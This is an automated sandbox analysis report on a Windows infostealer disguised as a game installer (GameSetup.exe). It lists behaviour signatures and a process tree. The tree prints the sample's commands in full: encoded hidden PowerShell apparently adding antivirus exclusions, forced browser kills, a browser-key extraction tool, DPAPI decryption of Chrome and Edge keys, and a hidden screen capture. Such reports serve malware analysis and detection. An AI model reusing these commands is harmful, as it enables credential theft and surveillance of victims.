Analysis
- user interaction
yes - max time kernel
300s - max time network
280s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
03/08/2026, 12:34
General
- Target GameSetup.exe
- Size 92.5MB
- Sample260803-pr6gdahe39
- SHA256 ee002a9fb98bf83e72045ced743aa63c31f1ae7c578fd9355e7b155496e2ede4
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs
Using powershell.exe command.
- Executes dropped EXE 10 IoCs
- Loads dropped DLL 20 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 1 TTPs 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Drops file in Program Files directory 64 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 15 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks processor information in registry 2 TTPs 48 IoCs
Processor information is often read in order to detect sandboxing environments.
- Detects videocard installed 1 TTPs 2 IoCs
Uses WMIC.exe to determine videocard installed.
- Kills process with taskkill 14 IoCs
- Suspicious behavior: EnumeratesProcesses 26 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of WriteProcessMemory 62 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\GameSetup.exe"C:\Users\Admin\AppData\Local\Temp\GameSetup.exe"1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files\GameSetup\GameSetup.exe"C:\Program Files\GameSetup\GameSetup.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files\GameSetup\GameSetup.exe"C:\Program Files\GameSetup\GameSetup.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\chiloutvrmod" --gpu-preferences=UAAAAAAAAADgAQAMAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=disabled --field-trial-handle=1792,i,12927354410114740945,2496082721183596062,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1784 /prefetch:23⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Program Files\GameSetup\GameSetup.exe"C:\Program Files\GameSetup\GameSetup.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\chiloutvrmod" --field-trial-handle=2088,i,12927354410114740945,2496082721183596062,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2084 /prefetch:113⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABwAD0AJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBhAG0AZQBTAGUAdAB1AHAAXABHAGEAbQBlAFMAZQB0AHUAcAAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAJwA7ACQAcAAuAFMAcABsAGkAdAAoACcALAAnACkALgBGAG8AcgBFAGEAYwBoACgAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABfACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAfQApAA=="3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABwAD0AJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBhAG0AZQBTAGUAdAB1AHAAXABHAGEAbQBlAFMAZQB0AHUAcAAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAJwA7ACQAcAAuAFMAcABsAGkAdAAoACcALAAnACkALgBGAG8AcgBFAGEAYwBoACgAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABfACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAfQApAA==4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1785761019693.vbs""3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cscript.execscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1785761019693.vbs"4⤵
- Executes a VBScript file via the Windows Script Host.
-
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe /T3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe /T3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM brave.exe /T3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM opera.exe /T3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM vivaldi.exe /T3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM operagx.exe /T3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM opera_crashreporter.exe /T3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABwAD0AJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGUAbABlAHYAXwAxADcAOAA1ADcANgAxADAAMgAyADAANQAyACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABlAGwAZQB2AF8AMQA3ADgANQA3ADYAMQAwADIAMgAwADUAMgBcAEMAaAByAG8AbQBlAEUAbABlAHYAYQB0AG8AcgAuAGUAeABlACcAOwAkAHAALgBTAHAAbABpAHQAKAAnACwAJwApAC4ARgBvAHIARQBhAGMAaAAoAHsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAXwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAH0AKQA="3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABwAD0AJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGUAbABlAHYAXwAxADcAOAA1ADcANgAxADAAMgAyADAANQAyACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABlAGwAZQB2AF8AMQA3ADgANQA3ADYAMQAwADIAMgAwADUAMgBcAEMAaAByAG8AbQBlAEUAbABlAHYAYQB0AG8AcgAuAGUAeABlACcAOwAkAHAALgBTAHAAbABpAHQAKAAnACwAJwApAC4ARgBvAHIARQBhAGMAaAAoAHsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAXwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAH0AKQA=4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\elev_1785761022052\ChromeElevator.exeC:\Users\Admin\AppData\Local\Temp\elev_1785761022052\ChromeElevator.exe chrome -o C:\Users\Admin\AppData\Local\Temp\elev_out_17857610220373⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\elev_1785761022052\ChromeElevator.exeC:\Users\Admin\AppData\Local\Temp\elev_1785761022052\ChromeElevator.exe edge -o C:\Users\Admin\AppData\Local\Temp\elev_out_17857610220373⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_dpapi_bf0cabda.ps1" "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAALyY0IYCS2UKZ3Cj+hEs2nxAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAACYEYpAI8CDDqydz30LNlWx2VGamc3p2GX4Wr7lpQGMHAAAAAA6AAAAAAgAAIAAAAAGdB7SkGyn8GNrg4Ctf20lD8vqpSIk9mxTksptdr7zDMAAAAI/LTXVZBctF1j/7uTppFKM+Kvk4F7KG4YJHxVuR15Zw+j/qAAoxyMd2k3BC2fACk0AAAAANRIpvdajTbfEjXlc+Bh2oZ8sKvcz9niVlt0gm7yQ9RNf+dnPF7qyuGp/dKjsz5MWjRCjG3Llot4d/XJw9MneP""3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_dpapi_bf0cabda.ps1" "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAALyY0IYCS2UKZ3Cj+hEs2nxAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAACYEYpAI8CDDqydz30LNlWx2VGamc3p2GX4Wr7lpQGMHAAAAAA6AAAAAAgAAIAAAAAGdB7SkGyn8GNrg4Ctf20lD8vqpSIk9mxTksptdr7zDMAAAAI/LTXVZBctF1j/7uTppFKM+Kvk4F7KG4YJHxVuR15Zw+j/qAAoxyMd2k3BC2fACk0AAAAANRIpvdajTbfEjXlc+Bh2oZ8sKvcz9niVlt0gm7yQ9RNf+dnPF7qyuGp/dKjsz5MWjRCjG3Llot4d/XJw9MneP"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_dpapi_bf0cabda.ps1" "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAALyY0IYCS2UKZ3Cj+hEs2nxAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAZPHJOjC63AnmV5h92u/5ISEo8Yeuzv9LW7EZ8BVaNM8AAAAADoAAAAACAAAgAAAAjg1w4bu49KNYci0OP5yKtUhDKz3KvqkG7lK15wTELSUwAAAAkaCLbCVvMldvd3+wobXWwos5T4rB9oN345d0LesrBNilLTmLODuSv7yOGzDybDleQAAAAGALskwi/fC7B+S3X5XovbODnZM6L64X3d54T/Q9lAPfDoncrqVUzYgk+Kq2AYur4QdrgNjgM90lT3iAGav3XXE=""3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_dpapi_bf0cabda.ps1" "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAALyY0IYCS2UKZ3Cj+hEs2nxAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAZPHJOjC63AnmV5h92u/5ISEo8Yeuzv9LW7EZ8BVaNM8AAAAADoAAAAACAAAgAAAAjg1w4bu49KNYci0OP5yKtUhDKz3KvqkG7lK15wTELSUwAAAAkaCLbCVvMldvd3+wobXWwos5T4rB9oN345d0LesrBNilLTmLODuSv7yOGzDybDleQAAAAGALskwi/fC7B+S3X5XovbODnZM6L64X3d54T/Q9lAPfDoncrqVUzYgk+Kq2AYur4QdrgNjgM90lT3iAGav3XXE="4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name /value"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name /value4⤵
- Detects videocard installed
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Valve\Steam" /v SteamPath"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg query "HKCU\Software\Valve\Steam" /v SteamPath4⤵
-
-
-
-
C:\Program Files\GameSetup\GameSetup.exe"C:\Program Files\GameSetup\GameSetup.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABwAD0AJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBhAG0AZQBTAGUAdAB1AHAAXABHAGEAbQBlAFMAZQB0AHUAcAAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAJwA7ACQAcAAuAFMAcABsAGkAdAAoACcALAAnACkALgBGAG8AcgBFAGEAYwBoACgAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABfACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAfQApAA=="2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABwAD0AJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBhAG0AZQBTAGUAdAB1AHAAXABHAGEAbQBlAFMAZQB0AHUAcAAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAJwA7ACQAcAAuAFMAcABsAGkAdAAoACcALAAnACkALgBGAG8AcgBFAGEAYwBoACgAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABfACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAfQApAA==3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Program Files\GameSetup\GameSetup.exe"C:\Program Files\GameSetup\GameSetup.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\chiloutvrmod" --gpu-preferences=UAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1784,i,1698925924756138071,9051139558302487806,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1776 /prefetch:22⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Program Files\GameSetup\GameSetup.exe"C:\Program Files\GameSetup\GameSetup.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\chiloutvrmod" --field-trial-handle=2304,i,1698925924756138071,9051139558302487806,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2300 /prefetch:112⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe /T2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe /T2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM brave.exe /T2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM opera.exe /T2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM vivaldi.exe /T2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM operagx.exe /T2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM opera_crashreporter.exe /T2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABwAD0AJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGUAbABlAHYAXwAxADcAOAA1ADcANgAxADAAMwAxADMAOQA4ACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABlAGwAZQB2AF8AMQA3ADgANQA3ADYAMQAwADMAMQAzADkAOABcAEMAaAByAG8AbQBlAEUAbABlAHYAYQB0AG8AcgAuAGUAeABlACcAOwAkAHAALgBTAHAAbABpAHQAKAAnACwAJwApAC4ARgBvAHIARQBhAGMAaAAoAHsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAXwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAH0AKQA="2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABwAD0AJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGUAbABlAHYAXwAxADcAOAA1ADcANgAxADAAMwAxADMAOQA4ACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABlAGwAZQB2AF8AMQA3ADgANQA3ADYAMQAwADMAMQAzADkAOABcAEMAaAByAG8AbQBlAEUAbABlAHYAYQB0AG8AcgAuAGUAeABlACcAOwAkAHAALgBTAHAAbABpAHQAKAAnACwAJwApAC4ARgBvAHIARQBhAGMAaAAoAHsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAXwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAH0AKQA=3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\elev_1785761031398\ChromeElevator.exeC:\Users\Admin\AppData\Local\Temp\elev_1785761031398\ChromeElevator.exe chrome -o C:\Users\Admin\AppData\Local\Temp\elev_out_17857610313822⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\elev_1785761031398\ChromeElevator.exeC:\Users\Admin\AppData\Local\Temp\elev_1785761031398\ChromeElevator.exe edge -o C:\Users\Admin\AppData\Local\Temp\elev_out_17857610313822⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_dpapi_5313005c.ps1" "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAALyY0IYCS2UKZ3Cj+hEs2nxAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAACYEYpAI8CDDqydz30LNlWx2VGamc3p2GX4Wr7lpQGMHAAAAAA6AAAAAAgAAIAAAAAGdB7SkGyn8GNrg4Ctf20lD8vqpSIk9mxTksptdr7zDMAAAAI/LTXVZBctF1j/7uTppFKM+Kvk4F7KG4YJHxVuR15Zw+j/qAAoxyMd2k3BC2fACk0AAAAANRIpvdajTbfEjXlc+Bh2oZ8sKvcz9niVlt0gm7yQ9RNf+dnPF7qyuGp/dKjsz5MWjRCjG3Llot4d/XJw9MneP""2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_dpapi_5313005c.ps1" "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAALyY0IYCS2UKZ3Cj+hEs2nxAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAACYEYpAI8CDDqydz30LNlWx2VGamc3p2GX4Wr7lpQGMHAAAAAA6AAAAAAgAAIAAAAAGdB7SkGyn8GNrg4Ctf20lD8vqpSIk9mxTksptdr7zDMAAAAI/LTXVZBctF1j/7uTppFKM+Kvk4F7KG4YJHxVuR15Zw+j/qAAoxyMd2k3BC2fACk0AAAAANRIpvdajTbfEjXlc+Bh2oZ8sKvcz9niVlt0gm7yQ9RNf+dnPF7qyuGp/dKjsz5MWjRCjG3Llot4d/XJw9MneP"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_dpapi_5313005c.ps1" "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAALyY0IYCS2UKZ3Cj+hEs2nxAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAZPHJOjC63AnmV5h92u/5ISEo8Yeuzv9LW7EZ8BVaNM8AAAAADoAAAAACAAAgAAAAjg1w4bu49KNYci0OP5yKtUhDKz3KvqkG7lK15wTELSUwAAAAkaCLbCVvMldvd3+wobXWwos5T4rB9oN345d0LesrBNilLTmLODuSv7yOGzDybDleQAAAAGALskwi/fC7B+S3X5XovbODnZM6L64X3d54T/Q9lAPfDoncrqVUzYgk+Kq2AYur4QdrgNjgM90lT3iAGav3XXE=""2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
